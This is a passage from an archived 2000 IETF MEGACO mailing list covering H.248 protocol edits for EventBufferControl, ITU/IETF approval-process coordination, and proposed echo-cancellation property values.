state of EventBufferControl is off.

Add the following paragraphs after the 4th paragraph:

If EventBufferControl is set to Process, when the EventDescriptor is being 
loaded, all events in the event buffer will be processed according to the 
new EventsDescriptor rather than being discarded.  In other words, the MG 
loops through steps 1 through 3 until either the queue is empty or the MG 
receives a new eventsdescriptor.  The MG doesn't wait for a new 
EventsDescriptor before processing the next event.

If EventBufferControl is set to Process, when the EventDescriptor is being 
loaded, all events in the event buffer will be processed according to the 
new EventsDescriptor rather than being discarded.  In other words, the MG 
loops through steps 1 through 3 until either the queue is empty or the MG 
receives a new eventsdescriptor.  The MG doesn't wait for a new 
EventsDescriptor before processing the next event.

If EventBufferControl is set to Gated, when the EventDescriptor is being 
loaded, the MG acts the same as if it was set to LockStep, except it 
discards any events in the queue.

Miscellaneous modifications to Section 7.1.9:

In the old paragraph 5, in the sentence starting: "When KeepActive is 
specified in the event, ..."  change "event" to "EventsDescriptor."

In old paragraph 6, in the sentence starting "An event can include an 
Embedded Signals descriptor..." change "event" to "EventsDescriptor."

In Section A.2,  change the ASN.1 for TerminationStateDescriptor to:

TerminationStateDescriptor ::= SEQUENCE
{
      propertyParms       SEQUENCE OF PropertyParm,
      eventBufferControl  OPTIONAL,
      serviceState        ServiceState OPTIONAL,
      ...
}

Add the following ASN.1 after TerminationStateDescriptor:

eventBuffer ::= ENUMERATED
{
      Off (0),
      process(1),
      LockStep(2),
      Gated (3),
      ...
}

In Section B.2, change the production for EventBufferFlag to:

eventBufferControl  = BufferToken EQUAL ("OFF" / ProcessToken /
                       LockStepToken / GatedToken )

In Section B.2,  add the following productions for tokens:
  GatedToken                 = ("Gated"                 / "GA")
  LockStepToken              = ("LockStep")             / "SP")
  ProcessToken               = ("Process"               / "PC")




Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.          	
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 14:08:54 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12746
	for ; Sun, 13 Feb 2000 14:08:54 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.65B2EF40@standards.nortelnetworks.com>; 13 Feb 2000 14:05:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44931 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 14:04:05 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.3044CDB0@standards.nortelnetworks.com>; 13 Feb 2000 14:04:05
          -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          UAA16810; Sun, 13 Feb 2000 20:06:39 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id UAA03183;
          Sun, 13 Feb 2000 20:06:38 +0100
Received: from ericsson.com (arbru3m06.ericsson.se [164.48.163.7]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          UAA20449; Sun, 13 Feb 2000 20:06:30 +0100 (MET)
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208938@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by elb4.al.edt.ericsson.se
                      id UAA20449
Message-ID:  <38A697A9.E8D5F004@ericsson.com>
Date:         Sun, 13 Feb 2000 12:38:17 +0100
Reply-To: Stephen Terrill 
Sender: "Media Gateway Control (megaco)"
              
From: Stephen Terrill 
Subject:      Re: H.248 Activity
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA12746

Hi Brian,

This is, as you described earlier, a chicken or egg situation.  The same applies the other way around.  If the "decision" is delayed until later in the year, and someone who attends ITU and not IETF contributes a change at that meeting, are these changes included in a recycled RFC, and the process initiated again?

Anyway, I guess that this is out of our hands as it must be addressed by those who have made these agreements (which I haven´t ever seen presented in writing, so I have I don´t really know what it really was - as the understanding seems to have changed since Redbank).

Regards,

..//Steve

PS ... I do find it interesting that the message from the "list" into the ITU-T RedBank meeting in October was "No Change, we don´t want anymore functionality creep", now it seems to be to delay and slow things down???

Rosen, Brian wrote:

> What do you propose to do if there are last call comments?
>
> In particular, there are still discussions underway on events,
> signals, and other areas.  What is it that you are deciding?
> What do you do when the result of those discussions is a change,
> however big or small it may be?
>
> While no one can predict whether we will get last call comments,
> I would be surprised if we didn't, if not from the list than from
> IESG.
>
> I, for one, happen to think that IESG comments are generally
> good ones, and when they ask for changes, they generally result in
> better, more consistent specifications.  If they make a meaningful
> comment, I expect changes to the document will be required.
> What shall we do with the ITU document when that happens?
>
> Brian
>
> > -----Original Message-----
> > From: Stephen Terrill [mailto:stephen.terrill@ericsson.com]
> > Sent: Friday, February 11, 2000 2:06 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: H.248 Activity
> >
> >
> > Hi Brain,
> >
> > To be clear, I support decision.  In general, I think that
> > the input documents to geneva (with editors clarification)
> > are what is being accepted in Geneva.  This is in accordance
> > with ITU procedures.
> >
> > Regards,
> >
> > ..//Steve
> >
> > Rosen, Brian wrote:
> >
> > > You might have a "simple" concern, but unless what comes out of
> > > Geneva is exactly what goes in, and unless last call produces
> > > no comments that require changes, it won't work to decide it
> > > in Geneva.
> > >
> > > No one has asked ITU to change it's fundamental approval process.
> > > No one has asked IETF to change it's fundamental approval process.
> > >
> > > Therefore what IETF approves, following WG last call and IESG
> > > last call, must be what ITU decides, and vice versa.
> > > Since last call is not done, decision cannot be taken.
> > >
> > > In order to converge, the document really has to be stable.  Stable
> > > enough that both the ITU decision process and the IETF last call
> > > process produce no changes.  We are clearly not there.
> > >
> > > Unless one of the two bodies changes it's process, that is
> > > the only way forward.  It doesn't matter what I, or anyone
> > > else thinks of the stability or quality of the drafts.  It doesn't
> > > matter what the market demands, or what will work the best.
> > > We are stuck with the process.
> > >
> > > Given your stated sentiments, I would have expected you to lead
> > > the fight for deciding the input document to Geneva.  That would
> > > indicate stability from ITU perspective.
> > >
> > > I gather that was not your position.
> > >
> > > Brian
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 19:59:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA14880
	for ; Sun, 13 Feb 2000 19:59:46 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.58D6E390@standards.nortelnetworks.com>; 13 Feb 2000 19:55:58 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 45259 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 19:53:59 -0500
Received: from witbier.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.116D0750@standards.nortelnetworks.com>; 13 Feb 2000 19:53:59 -0500
Received: from mramalho-nt1 (ssh.cisco.com [171.69.10.34]) by witbier.cisco.com
          (8.8.8-Cisco List Logging/8.8.8) with SMTP id QAA09794; Sun, 13 Feb
          2000 16:56:36 -0800 (PST)
X-Sender: mramalho@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
References: <4FBEA8857476D311A03300204840E1CF208938@whq-msgusr-02.fore.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4.1.20000213194134.00a1a9e0@localhost>
Date:         Sun, 13 Feb 2000 19:57:21 -0500
Reply-To: "Michael A. Ramalho" 
Sender: "Media Gateway Control (megaco)"
              
From: "Michael A. Ramalho" 
Subject:      Re: H.248 Activity
X-To:         Stephen Terrill 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38A697A9.E8D5F004@ericsson.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id TAA14880

Re: "Anyway, I guess that this is out of our hands as it must be addressed
by those who have made these agreements (which I haven´t ever seen
presented in writing, so I have I don´t really know what it really was - as
the understanding seems to have changed since Redbank)."

Has there been documentation on how this "agreement" between the ITU
and IETF was supposed to work? Scott? Tom?

I too have not seen any such agreement/proposal in written form.

It is hard to understand how the existing IETF and ITU processes are either
preserved or modified without knowing how this agreement was envisioned/
expected to work. In the absence of knowledge to the contrary, the expectation
is that existing procedure in each fora must be followed.

Clearly many member companies submitted contributions to SG16 according
to existing SG16 procedure.

Michael Ramalho

At 12:38 PM 2/13/00 +0100, Stephen Terrill wrote:
>Hi Brian,
>
>This is, as you described earlier, a chicken or egg situation.  The same 
>applies the other way around.  If the "decision" is delayed until later in 
>the year, and someone who attends ITU and not IETF contributes a change at 
>that meeting, are these changes included in a recycled RFC, and the process 
>initiated again?
>
>Anyway, I guess that this is out of our hands as it must be addressed by 
>those who have made these agreements (which I haven´t ever seen presented in 
>writing, so I have I don´t really know what it really was - as the 
>understanding seems to have changed since Redbank).
>
>Regards,
>
>..//Steve
>
>PS ... I do find it interesting that the message from the "list" into the 
>ITU-T RedBank meeting in October was "No Change, we don´t want anymore 
>functionality creep", now it seems to be to delay and slow things down???
>
>Rosen, Brian wrote:
>
>> What do you propose to do if there are last call comments?
>>
>> In particular, there are still discussions underway on events,
>> signals, and other areas.  What is it that you are deciding?
>> What do you do when the result of those discussions is a change,
>> however big or small it may be?
>>
>> While no one can predict whether we will get last call comments,
>> I would be surprised if we didn't, if not from the list than from
>> IESG.
>>
>> I, for one, happen to think that IESG comments are generally
>> good ones, and when they ask for changes, they generally result in
>> better, more consistent specifications.  If they make a meaningful
>> comment, I expect changes to the document will be required.
>> What shall we do with the ITU document when that happens?
>>
>> Brian
>>
>> > -----Original Message-----
>> > From: Stephen Terrill [mailto:stephen.terrill@ericsson.com]
>> > Sent: Friday, February 11, 2000 2:06 PM
>> > To: Rosen, Brian
>> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > Subject: Re: H.248 Activity
>> >
>> >
>> > Hi Brain,
>> >
>> > To be clear, I support decision.  In general, I think that
>> > the input documents to geneva (with editors clarification)
>> > are what is being accepted in Geneva.  This is in accordance
>> > with ITU procedures.
>> >
>> > Regards,
>> >
>> > ..//Steve
>> >
>> > Rosen, Brian wrote:
>> >
>> > > You might have a "simple" concern, but unless what comes out of
>> > > Geneva is exactly what goes in, and unless last call produces
>> > > no comments that require changes, it won't work to decide it
>> > > in Geneva.
>> > >
>> > > No one has asked ITU to change it's fundamental approval process.
>> > > No one has asked IETF to change it's fundamental approval process.
>> > >
>> > > Therefore what IETF approves, following WG last call and IESG
>> > > last call, must be what ITU decides, and vice versa.
>> > > Since last call is not done, decision cannot be taken.
>> > >
>> > > In order to converge, the document really has to be stable.  Stable
>> > > enough that both the ITU decision process and the IETF last call
>> > > process produce no changes.  We are clearly not there.
>> > >
>> > > Unless one of the two bodies changes it's process, that is
>> > > the only way forward.  It doesn't matter what I, or anyone
>> > > else thinks of the stability or quality of the drafts.  It doesn't
>> > > matter what the market demands, or what will work the best.
>> > > We are stuck with the process.
>> > >
>> > > Given your stated sentiments, I would have expected you to lead
>> > > the fight for deciding the input document to Geneva.  That would
>> > > indicate stability from ITU perspective.
>> > >
>> > > I gather that was not your position.
>> > >
>> > > Brian
>> >
>


Michael A. Ramalho, Ph.D.
Cisco Systems
1802 Rue de la Port
Wall Township, NJ 07719-3784
Office email: mramalho@cisco.com
Personal email: mar42@cornell.edu
Office: +1.732.449.5762
Cell: +1.732.809.0188
Pager: +1.800.365.4578


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb 13 21:48:41 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16463
	for ; Sun, 13 Feb 2000 21:48:03 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.70922F30@standards.nortelnetworks.com>; 13 Feb 2000 21:44:01 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 45289 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 13 Feb 2000 21:42:07 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.2C6862C0@standards.nortelnetworks.com>; 13 Feb 2000 21:42:06
          -0500
Received: from zmers013 by smtprch1.nortel.com; Sun, 13 Feb 2000 20:44:20 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Sun, 13
          Feb 2000 21:44:09 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN89VP>; Sun, 13 Feb 2000 21:44:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7695.5E4FC416"
Message-ID:  
Date:         Sun, 13 Feb 2000 21:44:04 -0500
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: E.13.1 echo cancellation
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7695.5E4FC416
Content-Type: text/plain;
        charset="iso-8859-1"

I would like ec to have values "on" "off" and "g165". "on" means turn on
echo cancellation and don't turn it off no matter what tones you see, and
"g165" means turn on echo cancellation, but turn it off if you see tones
such as those specified in G.165/G.168.

This is what I have already proposed. I also proposed  the "g164" option. If
no one sees a need for it, then that one can be removed.

Nancy
--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Chip Sharp[SMTP:chsharp@CISCO.COM]
> Sent:         Saturday, February 12, 2000 5:49 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: E.13.1 echo cancellation
>
> At 02:41 PM 2/9/00 -0600, Nancy-M Greene wrote:
>
> >Hi Roy,
> >G.165/G.168 is one option, and G.164 is a second option (or you choose to
> >simply put echo cancellation "on", or you turn it off with "off"), but
> you
> >never have more than one of these options. G.164 is there as an "older
> >version" of echo cancellation, for backwards compatible reasons. We could
> >change the text explaining ec to be as you say, echo cancellation/echo
> >suppression, but I don't know whether it is worth it.
>
> I don't know why anyone would build a MG with a G.164 echo suppressor.
> G.165 has been out for ages.
> My vote is to have ec equal ON or OFF and provide text that states that
> this parameter is used to control echo cancellers and older echo
> suppressors.  Or better yet, call it echo control.  It looks like you want
> a way to turn on echo control and then let it be disabled in-band.  It
> would then need a third option of STAYON.
>
>
> >Nancy
> >-------
> >Nancy M. Greene
> >Internet & Service Provider Networks, Nortel Networks
> >T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
> >----------  From:   Roy
> >Spitzer[SMTP:rspitzer@TELOGY.COM]  Sent:   Wednesday, February 09, 2000
> >2:11 PM  To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:        Re:
> >E.13.1 echo cancellation
> >
> >Nancy,
> >
> >There seems to be a terminology problem here.  G.165 and G.168 are
> >echo  cancellation algorithms.  G.164 is an echo suppressor algorithm.
> In
> >general  echo cancellators are better than echo suppressors.  Only older
> >style  equipment uses echo suppressors and it only works well for half
> >duplex  communications.  If ec were defined as echo cancellation/echo
> >suppression,  the text is correct.  There does not appear to be an
> >application where echo  suppression and echo cancellation would be
> >simultaneously active.
> >
> >Regards,  Roy
> >
> >Roy Spitzer                              Telogy Networks  Phone:
> >301-515-6531                20250 Century
> >Blvd.  FAX:    301-515-7954                Germantown, MD
> >20874  email:  rspiter@telogy.com
> >
> >-----Original Message-----  From: Nancy-M Greene
> >[mailto:ngreene@NORTELNETWORKS.COM]
> >Sent: Thursday, February 03, 2000 10:53 AM  To:
> >MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject: E.13.1 echo cancellation
> >
> >
> >
> >Errata in v14 E.13.1:  Instead of just allowing Echo Cancellation to
> >be  "on", or "off", we need to  allow these possibilities:
> >
> >Permanently enabled: "on"  Permanently disabled: "off"  Enabled but
> >conformant to G.165/G.168: "g165"  Enabled but conformant to G.164:
> "g164"
> >
> >Default is "g165".
> >
> >Here is the text to be changed in E.13.1 (in blue, if you see it):
> >
> >E.13.1  Properties  Echo Cancellation
> >
> >         PropertyID: ec (0x0008)  By default, the telephony gateways
> > always perform echo cancellation  according to  G.165/G.168. However, it
> > is necessary, for some calls, to turn off these  operations.  Type:
> > enumerated  Possible Values:
> >
> >         "on" (when the echo cancellation is permanently enabled and
> > will  disregard any  incoming tones)  "g165" (when ec is according to
> > G.165/G.168: ec is on, but will turn  itself off when it sees a 2100Hz
> > tone with phase reversal (i.e. a CED fax  tone, or an  ANS modem
> > tone)  "g164" (when ec is according to G.164)  "off" (when it is turned
> > off.)  The default is "g165".
> >
> >         Defined In: LocalControlDescriptor          Characteristics:
> > read/write
> >
> >Nancy
> >
> >-------------------------------------------------------------------------
> -
>  > Nancy M. Greene  Internet & Service Provider Networks, Nortel
> >Networks  T:514-271-7221 (internal:ESN853-1077)
> E:ngreene@nortelnetworks.com
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>

------_=_NextPart_001_01BF7695.5E4FC416
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: E.13.1 echo cancellation




I would like ec to =
have values "on" "off" and "g165". =
"on" means turn on echo cancellation and don't turn it off no =
matter what tones you see, and "g165" means turn on echo =
cancellation, but turn it off if you see tones such as those specified =
in G.165/G.168.



This is what I have =
already proposed. I also proposed  the "g164" option. If =
no one sees a need for it, then that one can be removed.



Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com



    

    ----------

    From:   =
Chip =
Sharp[SMTP:chsharp@CISCO.COM]

    Sent:   =
Saturday, February 12, 2000 5:49 =
PM

    To: =
    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: =
       Re: E.13.1 echo cancellation

    


    At 02:41 PM 2/9/00 -0600, Nancy-M =
Greene wrote:

    


    >Hi Roy,

    >G.165/G.168 is one option, and =
G.164 is a second option (or you choose to

    >simply put echo cancellation =
"on", or you turn it off with "off"), but =
you

    >never have more than one of these =
options. G.164 is there as an "older

    >version" of echo =
cancellation, for backwards compatible reasons. We could

    >change the text explaining ec to =
be as you say, echo cancellation/echo

    >suppression, but I don't know =
whether it is worth it.

    


    I don't know why anyone would build a =
MG with a G.164 echo suppressor.

    G.165 has been out for ages.

    My vote is to have ec equal ON or OFF =
and provide text that states that

    this parameter is used to control =
echo cancellers and older echo

    suppressors.  Or better yet, =
call it echo control.  It looks like you want

    a way to turn on echo control and =
then let it be disabled in-band.  It

    would then need a third option of =
STAYON.

    

    


    >Nancy

    >-------

    >Nancy M. Greene

    >Internet & Service Provider =
Networks, Nortel Networks

    >T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com

    >----------  =
From:   Roy

    >Spitzer[SMTP:rspitzer@TELOGY.COM]  Sent: &n=
bsp; Wednesday, February 09, 2000

    >2:11 PM  =
To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  =
Subject:        Re:

    >E.13.1 echo cancellation

    >

    >Nancy,

    >

    >There seems to be a terminology =
problem here.  G.165 and G.168 are

    >echo  cancellation =
algorithms.  G.164 is an echo suppressor algorithm.  =
In

    >general  echo cancellators =
are better than echo suppressors.  Only older

    >style  equipment uses echo =
suppressors and it only works well for half

    >duplex  =
communications.  If ec were defined as echo =
cancellation/echo

    >suppression,  the text is =
correct.  There does not appear to be an

    >application where echo  =
suppression and echo cancellation would be

    >simultaneously active.

    >

    >Regards,  Roy

    >

    >Roy =
Spitzer           =
;            =
;       Telogy Networks  =
Phone:

    >301-515-6531       =
;         20250 Century

    >Blvd.  =
FAX:    =
301-515-7954          =
      Germantown, MD

    >20874  email:  =
rspiter@telogy.com

    >

    >-----Original Message-----  =
From: Nancy-M Greene

    >[<mailto:ngreene@NORTELNETWORKS=
.COM>mailto:ngreene@NORTELNETWORKS=
.COM]

    >Sent: Thursday, February 03, 2000 =
10:53 AM  To:

    >MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject: =
E.13.1 echo cancellation

    >

    >

    >

    >Errata in v14 E.13.1:  =
Instead of just allowing Echo Cancellation to

    >be  "on", or =
"off", we need to  allow these possibilities:

    >

    >Permanently enabled: =
"on"  Permanently disabled: "off"  =
Enabled but

    >conformant to G.165/G.168: =
"g165"  Enabled but conformant to G.164: =
"g164"

    >

    >Default is =
"g165".

    >

    >Here is the text to be changed in =
E.13.1 (in blue, if you see it):

    >

    >E.13.1  Properties  =
Echo Cancellation

    >

    >         =
PropertyID: ec (0x0008)  By default, the telephony gateways

    > always perform echo =
cancellation  according to  G.165/G.168. However, it

    > is necessary, for some calls, to =
turn off these  operations.  Type:

    > enumerated  Possible =
Values:

    >

    >         =
"on" (when the echo cancellation is permanently enabled =
and

    > will  disregard any  =
incoming tones)  "g165" (when ec is according to

    > G.165/G.168: ec is on, but will =
turn  itself off when it sees a 2100Hz

    > tone with phase reversal (i.e. a =
CED fax  tone, or an  ANS modem

    > tone)  "g164" =
(when ec is according to G.164)  "off" (when it is =
turned

    > off.)  The default is =
"g165".

    >

    >         =
Defined In: =
LocalControlDescriptor        &n=
bsp; Characteristics:

    > read/write

    >

    >Nancy

    >

    >-----------------------------------------------------=
---------------------

     > Nancy M. Greene  =
Internet & Service Provider Networks, Nortel

    >Networks  T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com

    


    Support NetAid!  http://www.netaid.org

    --------------------------------------------------=


    Chip =
Sharp           &=
nbsp;     Consulting Engineering

    Cisco =
Systems           =
;   Telco Bio-region

    Reality - Love it or Leave it.

    --------------------------------------------------=


    




------_=_NextPart_001_01BF7695.5E4FC416--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 09:45:32 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12759
	for ; Mon, 14 Feb 2000 09:45:31 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C0AA0920@standards.nortelnetworks.com>; Mon, 14 Feb 2000 9:42:05 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 45992 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 09:40:08 -0500
Received: from tnint06.telogy.com (209.116.120.7) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.7B0C3A50@standards.nortelnetworks.com>; Mon, 14 Feb 2000
          9:40:08 -0500
Received: by TNINT06 with Internet Mail Service (5.5.2448.0) id <18N3JLBM>;
          Mon, 14 Feb 2000 09:42:47 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <61891BA043DED21180920090273F17385EDA66@TNINT06>
Date:         Mon, 14 Feb 2000 09:42:46 -0500
Reply-To: Roy Spitzer 
Sender: "Media Gateway Control (megaco)"
              
From: Roy Spitzer 
Subject:      Re: E.13.1 echo cancellation
X-To:         Nancy-M Greene 
X-cc:         Bogdan Kosanovic 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Nancy,

I believe that there is confusion here.  Each endpoint has only one echo
control protocol resident.  That echo control protocol may be turned on or
off.  In addition there is a common feature of automatic echo control
disable which allows the echo control protocol to be turned off by tones
described in the associated standard for that echo control protocol.  This
is automatic echo control disable can be turned on or off, but it is a
separate parameter.

There are other echo control parameters that define the filtering spectrum
used by the echo cancellation protocol.  These parameters are not described
by the H.248 package and tend to be vendor specific.

Regards,
Roy

Roy Spitzer                              Telogy Networks
Phone: 301-515-6531                20250 Century Blvd.
FAX:    301-515-7954                Germantown, MD 20874
email:  rspiter@telogy.com

-----Original Message-----
From: Nancy-M Greene [mailto:ngreene@NORTELNETWORKS.COM]
Sent: Sunday, February 13, 2000 9:44 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: E.13.1 echo cancellation



I would like ec to have values "on" "off" and "g165". "on" means turn on
echo cancellation and don't turn it off no matter what tones you see, and
"g165" means turn on echo cancellation, but turn it off if you see tones
such as those specified in G.165/G.168.

This is what I have already proposed. I also proposed  the "g164" option. If
no one sees a need for it, then that one can be removed.

Nancy
--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

        ----------
From:   Chip Sharp[SMTP:chsharp@CISCO.COM]
Sent:   Saturday, February 12, 2000 5:49 PM
To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject:        Re: E.13.1 echo cancellation

        At 02:41 PM 2/9/00 -0600, Nancy-M Greene wrote:

        >Hi Roy,
>G.165/G.168 is one option, and G.164 is a second option (or you choose to
>simply put echo cancellation "on", or you turn it off with "off"), but you
>never have more than one of these options. G.164 is there as an "older
>version" of echo cancellation, for backwards compatible reasons. We could
>change the text explaining ec to be as you say, echo cancellation/echo
>suppression, but I don't know whether it is worth it.

        I don't know why anyone would build a MG with a G.164 echo
suppressor.
G.165 has been out for ages.
My vote is to have ec equal ON or OFF and provide text that states that
this parameter is used to control echo cancellers and older echo
suppressors.  Or better yet, call it echo control.  It looks like you want
a way to turn on echo control and then let it be disabled in-band.  It
would then need a third option of STAYON.


        >Nancy
>-------
>Nancy M. Greene
>Internet & Service Provider Networks, Nortel Networks
>T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>----------  From:   Roy
>Spitzer[SMTP:rspitzer@TELOGY.COM]  Sent:   Wednesday, February 09, 2000
>2:11 PM  To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:        Re:
>E.13.1 echo cancellation
>
>Nancy,
>
>There seems to be a terminology problem here.  G.165 and G.168 are
>echo  cancellation algorithms.  G.164 is an echo suppressor algorithm.  In
>general  echo cancellators are better than echo suppressors.  Only older
>style  equipment uses echo suppressors and it only works well for half
>duplex  communications.  If ec were defined as echo cancellation/echo
>suppression,  the text is correct.  There does not appear to be an
>application where echo  suppression and echo cancellation would be
>simultaneously active.
>
>Regards,  Roy
>
>Roy Spitzer                              Telogy Networks  Phone:
>301-515-6531                20250 Century
>Blvd.  FAX:    301-515-7954                Germantown, MD
>20874  email:  rspiter@telogy.com
>
>-----Original Message-----  From: Nancy-M Greene
>[< mailto:ngreene@NORTELNETWORKS.COM  >
mailto:ngreene@NORTELNETWORKS.COM  ]
>Sent: Thursday, February 03, 2000 10:53 AM  To:
>MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject: E.13.1 echo cancellation
>
>
>
>Errata in v14 E.13.1:  Instead of just allowing Echo Cancellation to
>be  "on", or "off", we need to  allow these possibilities:
>
>Permanently enabled: "on"  Permanently disabled: "off"  Enabled but
>conformant to G.165/G.168: "g165"  Enabled but conformant to G.164: "g164"
>
>Default is "g165".
>
>Here is the text to be changed in E.13.1 (in blue, if you see it):
>
>E.13.1  Properties  Echo Cancellation
>
>         PropertyID: ec (0x0008)  By default, the telephony gateways
> always perform echo cancellation  according to  G.165/G.168. However, it
> is necessary, for some calls, to turn off these  operations.  Type:
> enumerated  Possible Values:
>
>         "on" (when the echo cancellation is permanently enabled and
> will  disregard any  incoming tones)  "g165" (when ec is according to
> G.165/G.168: ec is on, but will turn  itself off when it sees a 2100Hz
> tone with phase reversal (i.e. a CED fax  tone, or an  ANS modem
> tone)  "g164" (when ec is according to G.164)  "off" (when it is turned
> off.)  The default is "g165".
>
>         Defined In: LocalControlDescriptor          Characteristics:
> read/write
>
>Nancy
>
>--------------------------------------------------------------------------
 > Nancy M. Greene  Internet & Service Provider Networks, Nortel
>Networks  T:514-271-7221 (internal:ESN853-1077)
E:ngreene@nortelnetworks.com

        Support NetAid!  http://www.netaid.org 
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 11:11:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15843
